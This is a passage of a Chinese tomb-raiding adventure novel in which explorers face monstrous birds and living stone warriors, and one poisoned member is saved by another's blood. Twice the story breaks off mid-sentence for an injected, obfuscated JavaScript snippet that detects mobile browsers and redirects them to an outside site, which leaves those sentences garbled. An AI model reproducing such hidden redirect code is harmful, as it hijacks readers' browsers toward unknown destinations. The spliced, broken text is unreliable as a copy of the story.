封鬼一下子就明白了,阿福看到宝石眼之后心生贪念,就把宝石挖了下来,没想到竟被眼洞里射出的机关箭给射中了脑袋,正插在他的眼睛上。 “哎,你非要取人家的眼睛,人家也取你的一只眼,这也算是报应了。”钱串子在那摇头感叹,一时之间大家都沉默不语。 “唉!阿福同志,你就一路走好吧。你放心,兄弟绝对完成你的遗志,将这块宝石带出去,让它发挥自己最大的价值!” 二胖蹲在阿福的尸体旁边,将宝石从他手里剥了出来,还在那振振有词。封鬼真想冲上狠狠揍他一顿,这不知好歹的孙子竟然敢和死人抢钱,看来真是活得不耐烦了。 “我说干脆把另外一只眼也给挖了,反正知道后面有箭,躲到一边就不会中招了。”二胖把宝石装进背包就又在那大放厥词,贪婪的盯着怪鸟的另外一只眼。 “不行!另外一只眼不知道是不是箭,如果是毒气,又或者是更加可怕的东西怎么办?绝对不能冒这个险。” 钱串子恶狠狠的瞪了二胖一眼,也不知道是嫌他多事还是嫌他抢了宝石。这时候就有人问这到底是什么鸟,不过看大家的表情好像都不知道,有人猜这就是个雷公,或者是个夜叉,而陈老四却说: “我看这倒像是九天玄鸟。” 天命玄鸟,降而生商。秦的祖先本来就是商朝人,所以秦国与商朝一样图腾都是玄鸟。只是这只怪鸟与古人图腾上的玄鸟有很大出入,玄鸟的外形应该更像是燕子或者凤凰,而不是这种凶恶丑陋的猛禽模样。 有人表达了自己的看法,陈老四嗤笑一声,就故弄玄虚的说: “古代统治者想要把自己的形象神化,让百姓都来崇拜,当然也会将图腾神化,再加上后人的演绎讹传,玄鸟必然会与燕子或者凤凰这种温顺吉祥的动物挂钩。但是战国那个年代君主多施行暴政,在百姓眼中残暴的统治者都是凶恶的怪物形象。你们看山海经里面那些吃人的山神精怪,哪个不是在暗喻当时的统治者?比如西王母,现代人都当她是个慈眉善目的瑶池圣母,而实际上那就是个豹尾虎齿,善啸蓬发的怪物。” “真实的玄鸟说不定就是这种怪物,小小的燕子怎么可能有能力创造整个商王朝呢?而头顶九日,说明它是在上古蛮荒后羿还未射日之时就存在的。再看它足下的大蛇,有可能这玄鸟是以蛇为食,咱们之前看到那么多的蛇,而且那些蛇故意将我们引到湖边,说不定那些是蛇想利用我们消灭这种怪鸟啊。” “你的意思是说,这地宫中有活的九天玄鸟?” “不错,我猜之前那姓宋的小哥与钱老爷子碰到的巨大怪鸟,就是这种九天玄鸟!” “你这么一说,老夫还真觉得有些像。之前那鸟是突然出现,灯光也暗,也看不太清楚,不过我好像确实看到那鸟没有羽毛。” “是啊,没有羽毛才能下得了水,才可以将人引入湖底。” 封鬼一直都没有说话,看着怪鸟爪下的那条大蛇,突然说: “魔阿八部上说,大鹏金翅鸟,人面鹰喙鸟身,以毒龙为食。而大蛇也被称为龙,那些烙铁头也都有毒,可以算得上是毒龙。这九天玄鸟,会不会就是大鹏?我们所说的玄鸟生商,其实应该是大鹏生商?” 封鬼这话一出,陈老四和鸦门都表现出一副恍然大悟的模样。 “不错不错!小封爷说得有道理啊。哎,封家的‘魔阿八部’果然博大精深,我没有看过完整的魔阿八部,却知道有一种大鹏金翅鸟,如果真如小封爷这么说,那确实就是如此啊。” 魔阿八部是封家的祖宗在降妖除魔中积累总结出来的妖典,可以说也算是不外传之秘,就算是业界中的人也很少有人能看到完整的。 大部分人都只是知道妖魔鬼怪被划分为八大类,却不清楚具体都长得什么样子。经封鬼这么一说,他们才猛然想到,也许玄鸟真的就是大鹏金翅鸟啊! “我去!那要真是这样,本来就有龙魔和犼了,这再加上一个大鹏,魔阿八部我们一下子就遇了三个啊!操,我看大家趁着枪里还有子弹赶紧给自己个痛快得了,别到时候一个个死的比阿福还惨!” 二胖在那说丧气话,封鬼这时候心里也是又惊又慌,根本顾上去骂他,只能强挤出个惨淡的笑容,底气不足的说: “这也只是我的猜测,不一定真是这样啊。” “这还有什么不一定的!除非你那本魔阿八部是假的,要不然这怪鸟肯定就是大鹏啊!” 二胖是一点眼力劲儿都没有,根本就口无遮拦。他越说大家的脸就越绿,八成胆都要给吓破了。 “行了!大家都别说了,先冷静一下。目前最重要的是和宋老板他们汇合,他们是去追那怪鸟的,说不定已经发现了什么对策。钱老爷子,这墓室中还有什么其他的东西吗?” “有,你们过来看。” 钱串子领着众人到了另外一侧的石壁前,这里出现了一个祭祀台,石台上除了动物的骨骸之外,还一字排开摆着九个大肚铜鼎,而这些鼎都是封死的,不知道里面装了什么,可能是酒,也可能是祭祀牛羊的骨骸。 “这是地宫的构造图,我们现在第四层,下面还有四层呢。” 钱串子指着墙说,众人一看确实发现墙上刻着幅一人高的建筑剖面图,就像是两个塔底对立的金字塔,上面的小下面的大;一共有八层,露在地面上的只有三层,而地下又有五层。离远看,很像是个陀螺,中间大两头尖。而他们目前所处的第四层是整个建筑的中间一层,也是最大的一层。只是从剖面图上看这一层有无数大大小小的墓室暗道,完全就是个迷宫,也看不出来他们目前所属的具体位置。 “靠!还以为有了地图就知道怎么走了呢,这他娘的连哪个墓室有宝贝都都没标出来,算个屁的地图啊。” 二胖在那连连抱怨,钱串子白了他一眼,说: “谁告诉你这是地图?这不过就是地宫的剖面图而已。” “这是什么构造,怎么这么奇怪?”鸦门还从来没听说过有这么一种构造的古墓,盯着剖面图来回研究半天。钱串子冷笑一声,接着说: “这有些像是都兰的九层妖楼啊!” 九层妖楼?众人对这个名词十分陌生,显然都没有听过,就问那是个什么东西,钱串子清了清嗓子,万分得意的向大家炫耀他的盗墓史。 钱串子说这座地宫像是他曾经在青海盗过的一个王室古墓,那是吐蕃王族的墓葬,据他所说那里的金银珠宝他们用骡马运了几天几夜都没有运完,而丝绸之类不感兴趣的陪葬品干脆一把火全都烧了。 那座古墓的构造与这个地宫很像,地面上与地下一共是九层,当地藏民都称它为九层妖楼。 “不过那九层妖楼的规模显然无法跟这个地宫相提并论,更没有这里复杂的地形,只不过是有些相似罢了。”钱串子说完,双目中露出一丝精光,好像在怀念当年那个大有作为的时代。 “不过这里虽然不是九层妖楼,老夫倒是从这构造图上推算出一些东西。”钱串子表现出一种神秘谨慎的神情,这下子大家又来了兴致,陈老四忙问: “哦?钱老爷子是发现了什么重要的信息吗?” 钱串子点了点头,拿烟杆指着地宫的最底层说: “你们有没有发现,这墓室的最底层处在剖面图下面的尖端儿上,也是整个地宫空间最狭小的地方。按照上面两层的面积推算,这第八层也就百余平,你们不觉得奇怪,按照这地宫的整体布局来看,它对空间的分布绝对不可能小气,可是为什么却把最底层隔出这么小的一块空间来呢?” 问题一出来,二胖就抢着说: “那古人这么建肯定有他的目的啊。” “哼,小哥说的不错,那你能猜出这个目的是什么?” “这……”二胖吱唔了一下,封鬼怕他说出什么惊天动地的笑话来,刚想接过话茬,没想到被他抢了先,底气十足的说: “那显然是把最有价值的东西放在最底下啊!空间小也是为了防止盗墓的搞破坏嘛。要我说,这第八层要么藏着长生不老药,要不就是镇着那只犼。” 二胖这话一出,钱串子显然愣住了。封鬼心中得意,好啊,二胖说的有道理,八成是把那钱老爷子给惊到了。 “哎呀,不愧是小封爷带来的人,果然有两下子。你说的不错,老夫也正是这么想的。不过老夫做事向来是鱼和熊掌兼得,所以我推测,这第八层镇着一只看守长生不老药的犼。” “你是说那长生药和犼都在第八层?”鸦门忙问,钱串子十分笃定的点了点头。 “不错,老夫正是这个意思。” 封鬼看了看众人的表情,有的还在怀疑,不过他自己倒是觉得八九不离十。其实这也不难猜测,因为他们已经推测出修造这地宫的目的就是为了镇犼,显然会把犼压在八层殿的最底下。 只是还有个疑问,为什么这宫殿不多不少修了八层呢?是否有什么特殊的含义,难道代表了十八层地狱?不过这一切除了造墓人之外恐怕已经没人知道了。 既然明确了长生不老药的位置,钱串子表示一定要下到地宫最深处,从这四层巨大迷宫中找到通往五层的暗道。不过有人就开始反对,说第八层虽然有长生药,可也有一只犼啊,这要是去了那岂不就是找死?还要什么长生不老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400025|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。不如放弃宝藏和不老药,尽快找到出口出去才是正确的选择。 “我也觉得应该去找出路,趁还没碰上龙肆,咱们赶紧逃出去,别再去招惹那犼了。”鸦门毕竟是领头的,一切行动都要考虑大家的安全。可是陈晓并不这么想,很是决绝的对她说: “我是一定要得到长生不老药的。就算是为了我父亲和我爷爷,我也要亲手了解这一切。” 陈晓说完就看向陈国祥,陈国祥显然有点激动,抹了把眼泪冲儿子坚定的点了点头,显然是站在他这一边,不走到最后绝不罢休。 “钱老爷子,咱们这里您的辈分和资质是最高的,您说怎么办,我们就全听您的了。” 陈老四怕人心有变,这时候只能求助在古墓中最有经验的钱串子。钱串子沉思良久,看了看陈晓父子就说: “如果想要找出口,就必须下到第八层。” “这是为什么?”鸦门连忙问,陈老四哼了一声,继续说: “你们谁还记得这地宫是如何从湖底显露出来的?” “当然是湖水没了它自己露出来的!难不成还是你变出来的?”二胖在那嘲笑,钱串子反问他: “那你说湖水是怎么没的?” “漏没的呗!” 二胖刚说完就恍然大悟,封鬼也一下子想到了答案。 “您的意思是说,湖水都从第八层漏没了?” “不错,地宫在湖中央,而湖底有个漏斗。这个湖肯定与其他地下湖相连,因为潮汐作用,湖面急剧下降,而这里的水就通过湖底漏斗流向了另外一个湖。这地宫,就是那巨大的漏斗。” “可是这说不通啊,既然是个湖底漏斗那就一定有漩涡,可是那八卦门密封这么严实,不足以形成漩涡,湖水也不可能漏得这么快啊。” “我想这正是设计的巧妙之处。也许那八卦门并不是唯一的地下通道,地宫中或许还有别的水道。也可能八卦门会在一定时间自动开启,要不然当初造墓的时候底层的水就会迅速淹上来,他们也就没法动工了。” 钱串子说的听上去有道理,不过经不起仔细推敲。然而其他人也实在想不出什么其他更合理的解释,全当古人就是智慧超群,在墓中设置了一套精密绝伦的先进排水系统,而地宫就相当于一个水闸,可根据特定的时机自动开启阀门设置湖中水位,而五星连珠正好就是这么一个时机。 “那你的意思是,第八层连着另外一个地下湖,你是想带我们从那里出去吗?”陈老四立马抓住重点,能不能找到出路还是最重要的问题。钱串子摸着下巴嗯了一声: “嗯,老夫就是这个意思。咱们有设备,不怕潜入水下。只要有水道能通向另外一个湖,那咱们就能出去。” 虽然钱串子的理论得不到有力的证实,不过他这么说也算是给了大家一线生机。大家开始就这漏斗之说是否属实议论纷纷,各持己见,于是鸦门就让所有人投票决定,最后以一人弃权6:3的情况决定去第八层。 在这个墓室再没发现其他的东西,大家准备出发去找宋阿拽他们,看到阿福的尸体,就商量着是否找个地方把他给埋了。 “这地下都是石头又没有土,怎么埋啊?”有人就问,二胖打了个响指,说: “之前的墓道两边不是有大窟窿嘛!咱们把阿福放在里面,不就成了现成的石棺了嘛。” 众人一听有理,就找了块防雨布把阿福裹了,由二胖和一个叫宫六的年轻人把人抬到了之前的甬道,挑了一个大小合适的窟窿,刚想把阿福放进去,封鬼就拦住他们。 “不知道这洞里有什么,就这么把人放进去合适吗?怎么说阿福也跟了我们一路,这样有点儿不合适吧?” “嗨!小封,你怎么这么矫情啊?这人死了就不算是个人了,它就是个东西,在这么危险的情况下,咱们能选个地方放置他的尸体,这已经算是仁至义尽了,你总不能扛着他跟咱们一起出去吧。” 二胖说的是实话,总不能让他们这帮活人被一个死人拖累吧。于是也不再多说,就由着他们把阿福放进洞里。 陈国祥刚想念段超度经文,就听见从洞里传来一阵翅膀煽动的声音,还夹杂着咝咝电流声,所有人都吓得退到后面,没想到背后的洞里也传来那令人毛骨悚然的怪声。 封鬼就看见有无数的红色亮点在漆黑的洞中闪闪烁烁,而且越来越近,突然从里面飞出一只巨大的白鸟,一下子将他扑倒在地,用那尖利的爪和喙在他身上撕咬。 二胖冲上来一把抓住那鸟的翅膀将它甩出几米,没想到沾了一手的鳞粉,气得他大骂: “这狗日的秃毛鹰不就是他娘的大鹏金翅鸟嘛!” 话音还未落,就听见无数的翅膀煽动声与刺耳的电流声响彻整个甬道,只见那一只只人面鹰嘴的巨大怪鸟像是箭雨一样从大大小小的石洞里射出,瞪着血红的双眼朝他们扑了过来。 封鬼一下子愣了,被这突如其来的壮观场面惊得张大了嘴,二胖见他坐在地上不动,连忙拉起他大叫: “别他娘的犯傻了!快跑啊!”吼完就拖着封鬼和一边的鸦门跑进了岔口最左边的甬道。 33.【33】见死不救 跟着二胖他们跑进来的还有陈老四和那个宫六,钱串子和陈晓父子他们剩下的人不知道是不是去了右边的墓道。 这条甬道比中间的更加狭窄,封鬼他们跑了没几分钟就发现两边的石壁距离只能容下一人侧身通过,二胖实在太壮一下子就卡在那,因为他跑在最前面,他这么一堵肉墙挡在道上,别人根本甭想过去。 眼看着后面的怪鸟跟一窝蜂一样扑了过来,封鬼拔出邪牙刀就要开始肉搏了,而其他人也端起了冲锋枪,朝着那群鸟就是一阵猛烈的扫射。 好在这怪鸟不是那烙铁头,身上没毛,也不是铜皮铁骨,中枪之后纷纷摔落在地。不过就算如此也没人叫好啊,这鸟的数量实在太多了,打倒前面的后面更是如潮水一般向他们涌来。 “TM的!你们别管我了!快跑啊!”二胖卡在那急得脸红脖子粗的直叫唤,封鬼朝他屁股上就是狠狠一脚,骂道: “少他娘的废话!你卡在这让我们跑哪去!” “我没子弹了!”鸦门突然大叫,宫六迅速扔给她一个弹匣。 鸦门不愧是女中豪杰,一身黑色劲装,端枪的姿势帅得就像是古墓丽影的劳拉,换填弹匣的过程也堪称神速。 这是因为二胖卡在那转不了身,要是被他看到鸦门的绝卓风姿,肯定会跪下来振臂高呼“女神万岁!”啊。 不过就算是身手再好也是双拳难敌四手,再说这些四手怪鸟根本就是成千上万。眼看着大家的弹药都快耗尽了,那些鸟是一点都没减少,简直就是战场上的士兵前仆后继视死如归。 “同志们!我看咱们今天是要交代在这了!这TM全怪我啊!要是能有下辈子,霍爷我绝对不练这一身没用的肌肉了!我说小封,你!” 二胖还在那唠唠叨叨,绞得人心是越来越乱。封鬼回过头刚想开口骂他,嘴张了一半就没声了。 只见面前空空如也,墓道之中哪里还有二胖的影子?他竟然就这么凭空消失不见了! “二胖!二胖!”封鬼连着叫了几声,除了自己的回声没人答应,心说完了二胖不是被那些怪鸟给叼走了吧。 “这里!快点进来!”突然有人回应,封鬼定睛一看,发现地上竟然有个洞,里面还透出亮光,而霍二胖正露着个大脑袋在朝他们喊呢。 封鬼反应也算快,顾不上多想就将靠自己最近的鸦门推了下去,被二胖一把抱住,然后又去拉陈老四,指着洞口让他跳下去。 宫六还在朝那些鸟开枪,已经有几只冲到了他的面前。封鬼肯定不可能丢下他不管,就冲上去挥着邪牙刀斩落两只鸟,扯着他的胳膊大叫: “快走!地下有密道!快跳下去!” 宫六的身手敏捷自然不用多说,一个翻身在地上滚了两圈就来到洞口。这时候已经有不少鸟飞过来了,嘶叫着在洞口盘旋。 为了防止它们进洞,宫六只好继续射击,直到子弹用尽,见封鬼也到了洞边,就纵身跳了下去。 落地之后宫六才发现,地上全是散架的骨骸,不知堆了多少。而旁边站着的人除了二胖他们,还有宋阿拽和玄武白虎。 “封鬼呢!?”二胖冲上来就问,宫六还没来及回答,就听见上面发出一阵惨烈的叫声,一听竟是封鬼的,二胖咬着牙就要爬上去救人,宋阿拽拦住他,说了声: “我去!”就跟鬼魅一样窜了上去,都来不及看清他是怎么不借助外力爬上去的。 几人守在洞口提防随时会飞进来的怪鸟,听到上面的动静简直就是乱成一锅粥了。 封鬼倒是没有再叫,不过那些鸟发出了更加刺耳的尖鸣,如果现在有个玻璃杯,恐怕早就被震碎了。 二胖他们捂着耳朵焦急的往上看,不到一分钟,宋阿拽总算是背着封鬼跳了下来,玄武立刻按动墙上的机关,将洞门关上。 有一只鸟从缝隙钻了进来,宫六举起枪托一下子就把它的脑袋砸扁了。等石门终于闭合之后,顶上传来无数利爪划擦石板的声音。 “小封?”二胖见封鬼趴在宋阿拽的背上有气无力的哼了一声,这才发现他的脸上和胳膊上全都是血痕,心疼的差点掉眼泪。 “先下去再说!”玄武提醒完就领着大家从骨骸堆成的山上爬下来,到了暗室中的地面。不过四周也全都是散落的骨骸,有人的也有动物的,看来这里应该是个殉葬坑,说不定造墓的工匠就是被闷死在这里。 骨头太多实在没什么干净的空间,宋阿拽不得不把封鬼放在铺满骨骸的地上。 “封鬼!醒醒!你他娘的没这么脆弱吧?”二胖拍打着封鬼的脸,见他迷迷糊糊的也不说话,看来伤得不清,就去检查他身上的伤口,发现他胸前被血染红了一大片,扯开衣服就看见胸口被撕开一道大口子,连骨头都露了出来。 “他娘的!老子去宰了那群鸟蛋!”二胖一下子就跳了起来,鸦门连忙拉住他,没好气的说: “你到底知不知道好歹?那些鸟不是好惹的,这上去就是死!你少意气用事!现在最重要的是给他治疗,这里太晦气,咱们找个干净点的地方。” “要不去石俑室吧。”小白接了句,鸦门就问那是哪儿,小白看了眼玄武,见他没有反对,就接着说: “这个殉葬坑还有条甬道通向一间大石室,那里陈列着许多士兵的石俑,我们就是从那里过来的。” “行,先回那去吧。”玄武赞同,又看了眼宋阿拽,他也点头,于是二胖背起封鬼,跟着大家走过一个狭长的甬道,来到一间十分宽阔的墓室。在矿灯的照射下,就看见这墓室中央整齐的站立着十几排身穿铠甲的石俑,手原本应该拿着兵器,却因为木柄早已朽烂而散落在地,有青铜戈、矛、戟以及箭弩等兵器。 “我去!这他娘的不是秦兵马俑嘛!”二胖一下子就叫了出来,玄武看了他一眼就摇头。 “你再仔细看看,秦始皇的兵马俑有这个精细?” 二胖被勾起了兴趣,把封鬼交给小白扶着就凑了过去,发现这些兵俑身上的盔甲雕刻的极其精致,连每一片甲片和衣纹都清晰可见,猛一看就跟真人被浇筑了层泥浆包裹住一样。 “哈!我还以为是真人呢!”二胖怪叫一声,玄武冲他露出个诡异的笑容,低声嘀咕了一句。 “啊?你说什么?”二胖压根就没听见他说了啥,这时候鸦门就走过来冲他们说: “都什么时候了,你们还有心情研究这个?赶紧给封鬼处理伤口要紧。” 二胖这才想起自家兄弟危在旦夕,连忙跑回去查看。鸦门从包里拿出药箱,给他清洗消毒包扎之后,总算松了口气。 “好了,没事了。” “没用的,他已经中毒了。”宋阿拽突然冷冷的说了句,鸦门一愣,抬头看向他。 “你说什么?”鸦门狐疑的盯着他,见他根本不想再重复第二遍,不确定的又问: “你是说那些鸟的爪上有毒?” 宋阿拽还是没有说话,鸦门见他这么无视自己脸上有些难堪,玄武却对她解释道: “不错,你们应该已经知道这鸟是什么了。大鹏金翅鸟,以毒龙为食,爪牙含有剧毒,会通过血液迅速扩散全身,半个小时之后就没救了。” “不可能!封鬼的血是百毒不侵的!”二胖根本就不信,封鬼跟自己说过,他的血那可是降妖除魔的宝贝,更是百毒不侵啊。 玄武冷笑一声,捻着小胡子叹道: “大鹏的毒连自己都能毒死,是没有解药的。” 二胖本来还是不信,见玄武说得那么笃定,突然就泄了气。 “这,这怎么可能……小封,小封!你醒醒!” “不过也不是没有办法,如今这世上只有一人能救他,而这人就在我们中间。” “谁?”二胖和鸦门异口同声的问到,玄武笑着看向了宋阿拽。 “当然是我们宋老板。” “你?!”二胖不敢相信的看着宋阿拽,一见他那事不关已的冰冷死人脸就来气。 “老板,您愿不愿意救小封爷啊?”玄武近似谄媚的笑让人看着很不舒服,也不知道他为什么会这么关心封鬼。不过有人能救他毕竟是好事,大家都期待的看着宋阿拽。 “不救。”宋阿拽半天吐出生硬的两个字,大家都吃了一惊,绝对没想到他竟然会见死不救,二胖更是气得一下子跳到他面前,扯着他的衣领大骂: “妈的!好你个宋阿拽!你他娘的还是人吗?!良心让狗给吃了!你!”二胖突然停住,拉近他用只能他二人听见的声音说: “你不是说封鬼身上有你想要的东西吗?你要是不救他就别想得到!” 二胖以为威胁他能管用,没想到他面不改色的低声说: “等他死了,我自己去拿。” “你!除非我死了否则你别想再碰他一下!”二胖见他软硬不吃也没辙了,在一边急得抓耳挠腮。封鬼抬起头看了他一眼,显然是听到这句话了,然后就昏了过去。 鸦门和陈老四没想到这宋阿拽如此绝情,都上前劝他救人。可他就跟个木头一样杵在那里,任你怎么说,就是没有半点反应。玄武实在看不下去自己主人这么遭罪,就走向前对他们说: “不是不能救,只是怕小封爷熬不住啊。” “你这话什么意思?”二胖连忙问,玄武见自己老板还是在那一点表情变化都没有,也就不再顾虑,一脸严肃的说: “想救小封爷的命,就要用我们老板的血。可是老板的血是至寒之物,平常人要是喝了,心脏就会立刻被冻住,停止心跳而死啊。” “那你还说能救他?!”二胖见他根本就是在耍人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400026|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点没冲上去揍他。玄武也不生气,笑了笑继续说: “小封爷又不是平常人,他的封鬼宝血是纯阳至热之物,最多身体会僵上一段时间,很快就会恢复的。” 陈老四越听越觉得离谱,不解的问道: “你说的是真是假?宋老板的血是什么宝血,还能解毒?” “嗯,天地万物都是相生相克,小封爷既然有纯阳之血,相对的就一定有人是至寒。这两种血碰到一起可以中和任何无解之毒,也就没什么奇怪的了。” 陈老四虽然还是心存疑虑,可是见当事人宋阿拽都没有辩驳,看来宁可信其有也要试一试啊。 “宋老板,你看封鬼是我们请来的,总不能见死不救吧?再说他是封门的第十代传人,封九公的亲孙子,怎么说您也得卖这个人情啊。这么着,以后有你有用的上的地方,只要我力所能及,屠乌门一定会帮忙的。”陈老四这是开了张空白支票啊,屠乌门权大势大,有它撑腰那可以说是如鱼得水。 玄武显然在听到这个条件之后十分惊讶,不过决定权不在他手里,还要看宋阿拽的态度。见他动了动嘴似乎开始犹豫,鸦门又压大筹码。 “若是需要,我金兜门的人也任你调遣。”说完就把一枚纯金的徽章递给他,上面写着个“鸦”字,这可相当于古代的令牌,金兜的调令符,实权在握啊。 二胖见他还在犹豫,忍住脾气对他说: “这下面子够大了吧!屠乌金兜两大家子的帐你倒是买不买?不就是让你献点儿血,又不是要你的命,别这么小气嘛!你也不想想,是谁在你受伤的时候守了你一夜,这可连你的手下都做不到啊。” 这一招煽风点火果然有效,宋阿拽显然想起了帐篷里的那一晚。不论他表现得怎么冷漠,醒来之后看到一个不怎么熟的人照顾了你一个晚上肯定也会被触动。 虽然这照顾也就是守在旁边睡了一觉,可那也不是随便一个人就能做到的啊。 “好吧。”宋阿拽总算是勉强的答应了,所有人都松了口气。 二胖赶紧找来个水壶准备盛血,鸦门骂他说你以为这是接自来水啊,哪用得了这么多。玄武也说不能用器皿盛,因为血一旦接触到空气寒性就没有了,也就失去了中和的效果。 没办法,二胖只好一巴掌拍醒封鬼,叫他自己喝血。宋阿拽割破手腕放到封鬼嘴边,他乖乖的把嘴巴贴上去吮吸起来。 二胖见他嘴巴一裹一裹的跟吃奶的婴儿一样觉得好笑,就调侃道: “我说小封!你可真享受啊,奶嘴的味道不错吧!” 然后就笑不出来了,见封鬼的脸越来越没血色,嘴唇也发白了,就忙问怎么回事,玄武说不要紧,这是寒性发作,睡一觉就好。 封鬼吸了一会儿就昏睡过去,二胖问够不够,要不要把他叫醒接着喝,玄武笑着说够了,你没看我们宋老板都要被他吸干了吗? 二胖看向宋阿拽,见他一脸的血气不足,心说这小封还真能喝啊,不会是个吸血鬼吧。 “大家都在这休息一下吧,等封鬼醒了再商量下一步怎么办。” 鸦门下了命令,大家都没有异议,各自找了个舒服的地方,放松紧绷的神经。 … 过了个把小时,封鬼被冻醒,竟然看到自己呼出的白气。裹着毯子还觉得不够,又找了件外套穿上,见大家都在睡觉,就挪到宋阿拽旁边,抬起他比自己还冰冷的手腕,看着上面的伤口,心里有种说不出的滋味。 不是说不救他嘛,等自己死了就拿他想要的东西,什么人啊竟然说话不算数,到最后不还是救了,又何必说这那种话伤人呢。好歹大家都走了一路了,就算还不是朋友也好歹是队友吧。 不过这人到底是谁呢,为什么会有至寒血?二叔说纯阳一旦遇上至寒就会突然失效,难道说这两天他自己的血会丧失封鬼降魔的能力? 这个人身上的谜团真是越来越多,封鬼越想越觉得不可思议。 从他最早的出现,拿着已经死去的陈癞子给的青铜镜与他们一起去龙王地宫; 不知道他的目的为何,据他所说是为了弄清自己是谁,而在他体内有什么不明的物质; 他的身上有一条随时可以变换位置的龙纹身,他的身体异于常人的冰冷,需要靠药物控制体温; 他有强大到可以与龙肆战斗的力量,并能轻易的杀死守墓山魑; 他了解有关封家的事,尤其是他爷爷封九公的事。 这些都不算什么,最令封鬼在意的就是,他说自己身上有他想要得到的东西,而这东西又是什么呢? 脑中正混乱的想着一大堆问题,封鬼突然觉得手上一紧,不知道宋阿拽何时已经醒了,正扣着他的手腕一脸阴沉的说: “这些石俑不在原来的位置了。” 34.【34】杀人石俑 什么?不在原来的位置?封鬼诧异的看着宋阿拽,发现他正盯着自己身后,扭过头一看,见那些石兵俑整整齐齐的排列在原地,并没发现有什么异常。 也可能是之前自己意识模糊完全没注意那些兵俑的模样,所以他没觉得有什么不对劲的地方。 “怎么可能呢,谁这么无聊挪动那些石俑?”封鬼笑了笑,表示完全不相信,可能是他记错了。宋阿拽却摇了摇头,十分肯定的说: “不对,这石俑肯定被移动了,如果不是人动的,那就是他们自己动的。” 自己动?!封鬼又是一惊,结结巴巴的说: “这!这不可能啊,那都是些石头!怎么能自己动呢!” 这时候封鬼已经冷得上下牙齿开始打颤了,不只是因为他本来就觉得冷,更主要的是听到了宋阿拽这番令人胆寒的话。 石俑能自己动,又没有任何的机关,这究竟说明什么?这说明那些石俑不是死物,而是活的啊! “你把其他人叫起来,我去看看。”宋阿拽用不容拒绝的命令口吻对封鬼说,然后就径自走向了那群石俑。 封鬼见他神情这么严肃也不敢再儿戏,悄悄的叫醒大家,简单说明情况就让他们都退到甬道口,以防遇到突发状况好赶紧离开这间古怪的墓室。 陈老四看着宋阿拽在那群跟他差不多高的石俑旁仔细查看,觉得有一种说不出的诡异,转身问封鬼: “你是说那石俑自己会动?” “我没有看见,是宋老板他自己说的。”封鬼实话实说,反正他也摸不清状况,干脆吧所有责任都推到宋阿拽头上。 陈老四之前并没有近距离研究过那些兵俑,所以也不清楚,可是二胖却记得,他跟玄武都上跟前看过,就急着说: “不错!确实是动了,之前我记得很清楚,他们是面朝北啊,这会儿怎么全都面朝南了?正对着我们啊!” “你确定?”陈老四和封鬼一起问他,二胖犹豫了一下,点头说: “没错!我确定,当时他们的脸是朝着那面墙的,现在整整转了个直角啊!” 众人看二胖言辞凿凿,心里都有点发毛,后悔刚进来的时候怎么不去检查一下那些石俑啊。不过现在已经有两个人都说这石俑变了位置,不可能二胖和宋阿拽都眼花啊,看来应该不会错了。 大家都忐忑不安的等着宋阿拽的结果,封鬼突然想到个事,就问玄武: “你们之前是怎么找到这儿的?我们还能从那出去吗?” “肯定不行啊!我们之前也是走了半天的迷宫才摸到这里,要是再回去说不定能困死在那些甬道里。再说外面有那些怪鸟怎么出去?咱们得另找出路啊。” 小白没等玄武开口就抢先回答了,封鬼见玄武没有反对,估计也是这个意思,看来确实不能原路返回了,这里也不知道是第五层还是属于第四层的夹层,他们得想办法到一个安全的地方去。 就在这个时候,宋阿拽突然朝他们挥手大叫一声: “快跑!是活的!” 话音刚落,还没等他们有所反应,就见那些石俑一个接一个的动了起来,跟跳机械舞一样,关节十分不灵活,宋阿拽从地上捡了个也不知道是什么的青铜兵器就朝一个接近他的石俑挥去,一下就砍断它的一只手臂,顿时就有一股液体喷了出来,众人仔细一看,竟然是绿色的粘稠液体,溅了他一身一脸。 “我去!还真TM是活的!”二胖举着沙鹰就是一枪,正中一个石俑的脑袋,打爆掉它一只耳朵。 这时候已经有好几个石俑朝他们走了过来了,行动竟然比刚开始迅速许多,看来他们之前是因为刚苏醒只是在活动筋骨啊。 队伍一下子乱了起来,纷纷朝甬道里跑去。宫六端起机关枪就是一阵乱扫,鸦门从背包里又摸出两支枪给玄武和小白扔了过去,大家排成一排对着那群石俑大力开火。 就见黑暗的墓室中火光四射,激烈的枪声响彻整个空间。不过子弹打在那些石俑身上就反弹出去,最多留个坑,根本不起什么作用。 他们被逼到了原来的那个殉葬坑,已经有好几个石俑冲了进来,速度之快简直就超乎想象!! 封鬼这时候也懒得掏出自己的邪牙刀了,心说这么小的破刀能砍掉人家一根头发就算不错了。真后悔当初没有拿把抢啊,现在只能看着队友挡在他前面冲锋陷阵,而自己跟个手无缚鸡之力的书生一样被保护。 刚想去翻翻谁的包里还有枪,就听咣当一声,一个石俑面朝下趴在了地上,原来是宋阿拽从后面将它踹倒,一下子跃到它的背上一脚踩着它就是一个回旋踢,又放倒一个。 就见他在石俑中忽左忽右,跟个猴子一样轻易的躲避一次次袭击,把那些石俑打得溃不成军。 封鬼来不及叫好,后面又是一波石俑发起了猛烈进攻,眼看着宋阿拽就要被团团包围,他竟然翻身一跃蹬上石俑的肩膀,跟踩木桩一样踏着石俑的脑袋一路跑了过来与大家汇合。 